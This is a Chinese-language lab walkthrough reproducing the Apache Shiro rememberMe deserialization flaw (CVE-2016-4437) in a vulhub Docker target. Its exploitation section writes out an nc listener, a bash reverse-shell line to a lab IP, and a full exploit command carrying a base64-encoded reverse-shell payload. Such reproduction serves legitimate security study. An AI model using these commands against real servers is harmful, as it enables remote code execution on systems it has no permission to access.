Apache Shiro 反序列化漏洞复现(CVE-2016-4437)
一、漏洞描述
Apache Shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值 > Base64解码–>AES解密–>反序列化。然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。
影响版本
Apache Shiro <= 1.2.4
二、漏洞环境搭建
需要准备的工具如下:
1.docker+vulhub漏洞库
2.kali虚拟机
3.靶机Ubuntu18.04虚拟机(其他也可以)
打开Ubuntu虚拟机,有docker环境和vulhub漏洞库的话就直接进入环境,没有的话先安装docker和下载vulhub漏洞库(网上教程很多,这里就不多介绍了)
root@admin666-virtual-machine:~/vulhub/shiro/CVE-2016-4437#
执行命令 docker-compose up -d
root@admin666-virtual-machine:~/vulhub/shiro/CVE-2016-4437# docker-compose up -d
等到出现以下页面证明已经搭建完成
可以访问http://your-ip:8080 ,出现如下页面证明搭建成功!
三、漏洞利用
先下载POC,地址:https://github.com/insightglacier/Shiro_exploit
放到kali虚拟机桌面,利用nc反弹shell
这里用nc监听2333端口
nc -lvp 2333
构造payload
先加密反弹shell
bash -i >& /dev/tcp/172.16.100.197/2333 0>&1
将语句放入http://jackson-t.ca/runtime-exec-payloads.html中进行编码
进入下载好的POC目录,执行
python3 shiro_exploit.py -t 3 -u http://172.16.100.166:8080 -p "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMTAwLjE5Ny8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}"`
成功反弹回shell,至此漏洞复现成功!
四、关闭docker环境
docker-compose down